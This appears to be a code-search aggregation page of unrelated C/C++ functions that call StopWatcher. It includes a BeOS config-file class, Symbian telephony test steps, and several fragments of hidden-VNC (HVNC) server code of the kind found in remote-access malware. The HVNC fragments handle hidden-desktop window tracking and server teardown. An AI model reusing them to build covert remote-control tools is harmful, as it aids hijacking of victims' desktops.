Esempio n. 1
0
ArpConfigureFile& ArpConfigureFile::operator=(const ArpConfigureFile& o)
{
    StopWatcher();

    size_t i;
    mConfigs->resize(0);
    mConfigs->reserve(o.mConfigs->size());
    for( i=0; i<o.mConfigs->size(); i++ ) mConfigs->push_back(o.mConfigs->at(i));
    mNames->resize(0);
    mNames->reserve(o.mNames->size());
    for( i=0; i<o.mNames->size(); i++ ) mNames->push_back(o.mNames->at(i));
    mFile = o.mFile;
    mMimeType = o.mMimeType;

#if 0	// Don't copy the watcher info
    mWatcher = o.mWatcher;

    delete mWatchMessage;
    mWatchMessage = 0;
    if( o.mWatchMessage ) {
        mWatchMessage = new BMessage(o.mWatchMessage);
    }
#endif

    StartWatcher();

    ArpD(cdb << ADH << "Copied ArpConfigureFile:" << endl);
    ArpD(cdb << ADH << "  src num configs = " << o.mConfigs->size()
         << ", names = " << o.mNames->size() << endl);
    ArpD(cdb << ADH << "  new num configs = " << mConfigs->size()
         << ", names = " << mNames->size() << endl);
    return *this;
}
Esempio n. 2
0
status_t ArpConfigureFile::StartWatcher(void)
{
    StopWatcher();

    ArpD(cdb << ADH << "Starting watcher..." << endl);
    if( mFile != entry_ref() && mWatcher.IsValid() ) {
        ArpD(cdb << ADH << "On file: " << Path().Path() << endl);
        BEntry entry(&mFile);
        if( entry.InitCheck() != B_OK ) return entry.InitCheck();
        status_t err = entry.GetNodeRef(&mNode);
        if( err != B_OK ) return err;

        BLooper* looper=0;
        mWatcher.Target(&looper);
        ArpD(cdb << ADH << "Target is: " << looper << endl);
        if( looper == 0 ) {
            mNode = node_ref();
            return B_ERROR;
        }

        looper->AddHandler(this);

        err = watch_node(&mNode, B_WATCH_ALL, this);
        ArpD(cdb << ADH << "Result from watch_node(): " << err << endl);
        if( err != B_OK ) {
            looper->RemoveHandler(this);
            mNode = node_ref();
            return err;
        }
    }

    return B_OK;
}
/**
 *  This tests the retrieval of the charger Strength.  ESAChargerNotCharging
 *  does not appear to be used in the indicatorwatcher, apart from the
 *  #ifdef'ed test code that is not available to this "in situ" test.
 *
 *  @test GT83-SSW-Test02 Test retrieval of the Battery and Charger setting.
 */	
enum TVerdict CTelWatchersIntTestRetrieveChargerStatusWithPublishSubscribe::doTestStepL()
	{
	//
	// Make sure watchers are stopped and unloaded before running this test.
	// This forces SIMTSY to be loaded again.
	//
	StopWatcher();
	SetSimTsyTestNumberL(1);
	StartWatcher();

	TInt  state;
	TRequestStatus  localStatus;
	RProperty       localProperty;

	//-- attach and subscribe to KUidChargerStatus property
	TInt ret = localProperty.Attach(KUidSystemCategory,KUidChargerStatus.iUid);
	TESTCHECKL(ret, KErrNone);
	localProperty.Subscribe(localStatus);  

	//
	// Get initial battery charge state
	//
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Initial Battery Charger State is %d"), state);

	
	User::WaitForRequest(localStatus);		
	localProperty.Subscribe(localStatus);
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Battery Charger State is %d"), state);
	TESTCHECK(state, ESAChargerConnected);

	User::WaitForRequest(localStatus);		
	localProperty.Subscribe(localStatus);
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Battery Charger State is %d"), state);
	TESTCHECK(state, ESAChargerDisconnected);

	User::WaitForRequest(localStatus);		
	localProperty.Subscribe(localStatus);
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Battery Charger State is %d"), state);
	TESTCHECK(state, KErrUnknown);

	User::WaitForRequest(localStatus);
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Battery Charger State is %d"), state);
	TESTCHECK(state, ESAChargerConnected);

	CheckSimTsyTestNumberL(1);

	return TestStepResult();
	} // CTelWatchersIntTestRetrieveChargerStatusWithPublishSubscribe::doTestStepL
/**
 *  This tests the retrieval of the Network Status.
 *
 *  @test GT83-SSW-Test03 Test retrieval of the Network status information.
 */	
enum TVerdict CTelWatchersIntTestNetworkStatusWithPublishSubscribe::doTestStepL()
	{
	//
	// Make sure watchers are stopped and unloaded before running this test.
	// This forces SIMTSY to be loaded again.
	//
	StopWatcher();
	SetSimTsyTestNumberL(2);
	StartWatcher();

	TInt  state;
	TRequestStatus  localStatus;
	RProperty       localProperty;

	//
	// Get initial network available status...
	//
	TInt ret = RProperty::Get(KUidSystemCategory, KUidChargerStatus.iUid, state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Initial Network Available Status is %d"), state);
		
	//-- attach and subscribe to KUidNetworkStatus property
	ret = localProperty.Attach(KUidSystemCategory,KUidNetworkStatus.iUid);
	TESTCHECKL(ret, KErrNone);
	localProperty.Subscribe(localStatus);
	
	User::WaitForRequest(localStatus);		
	localProperty.Subscribe(localStatus);
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Network Available Status is %d"), state);
	TESTCHECK(state, ESANetworkAvailable);

	User::WaitForRequest(localStatus);		
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Network Available Status is %d"), state);
	TESTCHECK(state, ESANetworkUnAvailable);

	CheckSimTsyTestNumberL(2);

	return TestStepResult();
	} // CTelWatchersIntTestNetworkStatusWithPublishSubscribe::doTestStepL
Esempio n. 5
0
void WINAPI WndWatcher(PHVNC lpServer)
{
    SetThreadDesktopEx(lpServer->hDesktop);
    lpServer->WndWatcherInfo.bWatcherStarted=true;
    CoInitialize(NULL);

    lpServer->WndWatcherInfo.hHook1=SetWinEventHook(EVENT_OBJECT_CREATE,EVENT_OBJECT_HIDE,NULL,HandleWndEvent,0,0,WINEVENT_OUTOFCONTEXT);
    lpServer->WndWatcherInfo.hHook2=SetWinEventHook(EVENT_OBJECT_LOCATIONCHANGE,EVENT_OBJECT_LOCATIONCHANGE,NULL,HandleWndEvent,0,0,WINEVENT_OUTOFCONTEXT);
    lpServer->WndWatcherInfo.hHook3=SetWinEventHook(EVENT_SYSTEM_FOREGROUND,EVENT_SYSTEM_FOREGROUND,NULL,HandleWndEvent,0,0,WINEVENT_OUTOFCONTEXT);

    while (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) == WAIT_TIMEOUT)
    {
        MSG msg;
        if (!GetMessage(&msg,NULL,0,0))
            break;
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    StopWatcher(lpServer);
    CoUninitialize();
    return;
}
Esempio n. 6
0
void CALLBACK HandleWndEvent(HWINEVENTHOOK hHook,DWORD dwEvent,HWND hWnd,LONG idObject,LONG idChild,DWORD dwEventThread,DWORD dwmsEventTime)
{
    PHVNC lpServer=HOOK2PHVNC(hHook);
    if (!lpServer)
        return;

    if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT)
    {
        StopWatcher(lpServer);
        return;
    }

    if ((idObject != OBJID_WINDOW) || (!hWnd) || (GetWindowClassFlags(lpServer,hWnd) & WCF_IGNOREWINDOW))
        return;

    WINDOWINFO wiInfo;
    wiInfo.cbSize=sizeof(WINDOWINFO);
    GetWindowInfo(hWnd,&wiInfo);

    Z_ORDER_LIST_ITEM *lpItem=0;
    if ((dwEvent != EVENT_OBJECT_CREATE) && (!(lpItem=GetWndFromList(lpServer,hWnd))))
        return;

    EnterCriticalSection(&lpServer->WndWatcherInfo.csWndsList);
    {
        switch (dwEvent)
        {
            case EVENT_OBJECT_CREATE:
            {
                lpItem=AppendWndToList(lpServer,hWnd);
                break;
            }
            case EVENT_OBJECT_HIDE:
            case EVENT_OBJECT_SHOW:
            {
                bool bVisible=IsWindowVisible(hWnd);
                if (((!bVisible) && (dwEvent == EVENT_OBJECT_HIDE)) || ((bVisible) && (dwEvent == EVENT_OBJECT_SHOW)))
                    break;

                bool bHidden=(dwEvent == EVENT_OBJECT_HIDE);
                if (lpItem->bHidden != bHidden)
                {
                    lpItem->bHidden=bHidden;

                    if (dwEvent == EVENT_OBJECT_SHOW)
                    {
                        if (lpItem->bTopMost)
                        {
                            if (lpItem->bAltTabItem)
                                SetForegroundWnd(lpServer,hWnd);
                            else
                                SetFrgWnd(lpServer,hWnd);
                        }
                    }
                    else if (!lpItem->lpNext)
                    {
                        Z_ORDER_LIST_ITEM *lpWnd=lpItem;
                        while (lpWnd)
                        {
                            hWnd=lpWnd->hWnd;
                            if ((IsWindowEx(lpServer,hWnd)) && (CheckWindowStyle(lpServer,hWnd)) && (!(GetWindowClassFlags(lpServer,hWnd) & (WCF_NO_CAPTURE|WCF_PAINT_ALWAYS_BOTTOM|WCF_PAINTMETHOD_NOP))))
                            {
                                SetForegroundWnd(lpServer,hWnd);
                                break;
                            }
                            lpWnd=lpWnd->lpPrev;
                        }
                    }
                }
                break;
            }
            case EVENT_OBJECT_DESTROY:
            {
                DeleteWndFromList(lpServer,hWnd);
                break;
            }
            case EVENT_OBJECT_LOCATIONCHANGE:
            {
                memcpy(&lpItem->rect,&wiInfo.rcWindow,sizeof(wiInfo.rcWindow));
                break;
            }
            case EVENT_SYSTEM_FOREGROUND:
            {
                if (!IsItMsgBox(lpServer,hWnd))
                {
                    if (!(GetWindowClassFlags(lpServer,hWnd) & WCF_MENU))
                    {
                        SetFrgWnd(lpServer,hWnd);
                        lpServer->lpGlobalVNCData->hForegroundWnd=hWnd;
                    }
                }
                break;
            }
        }

        RefreshList(lpServer);
    }
    LeaveCriticalSection(&lpServer->WndWatcherInfo.csWndsList);
    return;
}
/**
 *  This test tests the retrieval of the signal strength.
 *
 *  @test GT83-SSW-Test01 Test retrieval of the Signal Strength setting.
 */	
enum TVerdict CTelWatchersIntTestRetrieveSignalStrengthWithPublishSubscribe::doTestStepL()
	{
	//
	// Make sure watchers are stopped and unloaded before running this test
	// This forces SIMTSY to be loaded again.
	//
	StopWatcher();
	SetSimTsyTestNumberL(0);
	StartWatcher();
	CheckSimTsyTestNumberL(0);

	TInt  state;
	TRequestStatus  localStatus;
	RProperty       localProperty;
		
	//-- attach and subscribe to KUidNetworkStrength property
	TESTCHECKL(localProperty.Attach(KUidSystemCategory,KUidNetworkStrength.iUid), KErrNone);    
	localProperty.Subscribe(localStatus);

	TInt ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);
	INFO_PRINTF2(_L("Initial Signal Strength State is %d"), state);

	INFO_PRINTF1(_L("Commence Wait for Request local status..."));
	INFO_PRINTF2(_L("Prior to wait cycle, status is %d"), localStatus.Int());
	User::WaitForRequest(localStatus);			
	INFO_PRINTF1(_L("Complete Wait for Request local status."));
	localProperty.Subscribe(localStatus);
	ret = localProperty.Get(state);	
	TESTCHECKL(ret, KErrNone);
				
	INFO_PRINTF2(_L("Signal Strength State is %d"), state);
	TESTCHECK(state, ESANetworkStrengthNone);
		
	User::WaitForRequest(localStatus);		
	ret = localProperty.Get(state);
	localProperty.Subscribe(localStatus);
	TESTCHECKL(ret, KErrNone);
			
	INFO_PRINTF2(_L("Signal Strength State is %d"),state);
	TESTCHECK(state, ESANetworkStrengthLow);

	User::WaitForRequest(localStatus);		
	ret = localProperty.Get(state);
	localProperty.Subscribe(localStatus);
	TESTCHECKL(ret, KErrNone);

	INFO_PRINTF2(_L("Signal Strength State is %d"),state);
	TESTCHECK(state, ESANetworkStrengthMedium);

	User::WaitForRequest(localStatus);	
	ret = localProperty.Get(state);	
	localProperty.Subscribe(localStatus);
	TESTCHECKL(ret, KErrNone);

	INFO_PRINTF2(_L("Signal Strength State is %d"),state);
	TESTCHECK(state, ESANetworkStrengthHigh);

	User::WaitForRequest(localStatus);		
	ret = localProperty.Get(state);
	TESTCHECKL(ret, KErrNone);

	INFO_PRINTF2(_L("Signal Strength State is %d"),state);
	TESTCHECK(state, ESANetworkStrengthUnknown);

	return TestStepResult();
	} // CTelWatchersIntTestRetrieveSignalStrengthWithPublishSubscribe::doTestStepL
Esempio n. 8
0
void VNCStopServer(HVNC hVNC,DWORD dwFlags)
{
    if (!bHVNCInit)
        return;

    HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
    if (!lpHandle)
        return;

    PHVNC lpServer=lpHandle->lpServer;
    if (!lpServer)
        return;

    EnterCriticalSection(&csHVNC);
    {
        if (!lpServer->bStopped)
        {
            if (lpServer->rfbScreen)
            {
                if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS))
                {
                    UnmapViewOfFile(lpServer->lpSharedMemMapping);
                    SysCloseHandle(lpServer->hSharedMemMapping);
                    lpServer->lpSharedMemMapping=NULL;
                }
                rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen;
                lpServer->bActive=false;
                SetEvent(lpServer->EventsInfo.hVNCKillEvent);
                WaitThreadsDeath(lpServer);
                rfbShutdownServer(rfbScreen,TRUE);
                lpServer->bUpdateThreadStarted=false;
                if (rfbScreen->authPasswdData)
                {
                    PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData;
                    for (int i=0; lppPasswords[i]; i++)
                        MemFree(lppPasswords[i]);
                    MemFree(lppPasswords);
                    rfbScreen->authPasswdData=NULL;
                }
                VirtualFree(rfbScreen->frameBuffer,0,MEM_DECOMMIT);
                rfbScreenCleanup(rfbScreen);
                lpServer->rfbScreen=NULL;

                if (lpServer->TaskSwitcherInfo.bTaskSwitcherIsShown)
                    DestroyTaskSwitcherWnd(lpServer,false);

                if (lpServer->WndWatcherInfo.lpZOrderList)
                {
                    Z_ORDER_LIST_ITEM *lpItem=lpServer->WndWatcherInfo.lpZOrderList;
                    while (lpItem)
                    {
                        Z_ORDER_LIST_ITEM *lpPrev=lpItem;
                        lpItem=lpItem->lpNext;
                        MemFree(lpPrev);
                    }
                    lpServer->WndWatcherInfo.lpZOrderList=NULL;
                    StopWatcher(lpServer);
                }

                if (lpServer->DIBInfo.lpChecksums)
                {
                    VirtualFree(lpServer->DIBInfo.lpChecksums,0,MEM_DECOMMIT);
                    lpServer->DIBInfo.lpChecksums=NULL;
                }

                if (lpServer->DIBInfo.hIntermedMemDC)
                {
                    SelectObject(lpServer->DIBInfo.hIntermedMemDC,lpServer->DIBInfo.hIntermedOldBitmap);
                    DeleteObject(lpServer->DIBInfo.hIntermedMemBitmap);
                    DeleteDC(lpServer->DIBInfo.hIntermedMemDC);
                    lpServer->DIBInfo.hIntermedMemDC=NULL;
                }
                if (lpServer->DIBInfo.hCompDC)
                {
                    SelectObject(lpServer->DIBInfo.hCompDC,lpServer->DIBInfo.hOldBitmap);
                    DeleteObject(lpServer->DIBInfo.hBitmap);
                    DeleteDC(lpServer->DIBInfo.hCompDC);
                    lpServer->DIBInfo.hCompDC=NULL;
                }
                if (lpServer->DIBInfo.hTmpCompDC)
                {
                    SelectObject(lpServer->DIBInfo.hTmpCompDC,lpServer->DIBInfo.hTmpOldBitmap);
                    DeleteObject(lpServer->DIBInfo.hTmpBitmap);
                    DeleteDC(lpServer->DIBInfo.hTmpCompDC);
                    lpServer->DIBInfo.hTmpCompDC=NULL;
                }
                ReleaseDC(NULL,lpServer->DIBInfo.hDC);
            }

            lpServer->EventsInfo.dwClients=0;
            if (lpServer->hDesktop)
            {
                CloseDesktop(lpServer->hDesktop);
                lpServer->hDesktop=NULL;
            }
            lpServer->dwExplorersPID=0;
            lpServer->bStopped=true;
        }
    }
    LeaveCriticalSection(&csHVNC);
    return;
}
Esempio n. 9
0
ArpConfigureFile::~ArpConfigureFile()
{
    StopWatcher();
    FreeMemory();
}
Esempio n. 10
0
status_t ArpConfigureFile::SetFile(const entry_ref& file)
{
    StopWatcher();
    mFile = file;
    return StartWatcher();
}